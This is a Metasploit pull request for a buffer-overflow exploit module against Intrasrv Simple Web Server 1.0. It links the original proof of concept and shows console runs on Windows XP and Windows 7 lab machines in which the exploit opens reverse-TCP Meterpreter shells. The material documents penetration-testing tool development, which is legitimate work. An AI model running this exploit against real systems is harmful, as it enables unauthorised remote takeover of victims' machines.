rapid7/metasploit-framework — pull request #2206 by PsychoSpy (2013-08-10 20:02:43+00:00)
Title: Intrasrv Simple Web Server 1.0 Buffer Overflow

Intrasrv 1.0 boundary condition error RCE.

Original PoC and application download:
http://www.exploit-db.com/exploits/25836/

Tested Windows XP SP3:
```
msf exploit(intrasrv_bof) > show options

Module options (exploit/windows/http/intrasrv_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.56.101 yes The target address
RPORT 80 yes The remote port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.56.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 v1.0 - XP/2003/Win7

msf exploit(intrasrv_bof) > check
[+] The target is vulnerable.
msf exploit(intrasrv_bof) > exploit

[*] Started reverse handler on 192.168.56.1:4444
[*] Sending buffer...
[*] Sending stage (751104 bytes) to 192.168.56.101
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.101:1548) at 2013-08-10 14:48:54 -0400

meterpreter > getuid
Server username: VulnDevXPSP3\VulnUser
meterpreter > sysinfo
Computer : VulnDevXPSP3
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```

And Windows 7 SP1:
```
msf exploit(intrasrv_bof) > show options

Module options (exploit/windows/http/intrasrv_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.56.102 yes The target address
RPORT 80 yes The remote port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.56.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 v1.0 - XP/2003/Win7

msf exploit(intrasrv_bof) > check
[+] The target is vulnerable.
msf exploit(intrasrv_bof) > exploit

[*] Started reverse handler on 192.168.56.1:4444
[*] Sending buffer...
[*] Sending stage (751104 bytes) to 192.168.56.102
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.102:49161) at 2013-08-10 15:49:35 -0400

meterpreter > getuid
Server username: VulnDevWin7\VulnUser
meterpreter > sysinfo
Computer : VulnDevWin7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```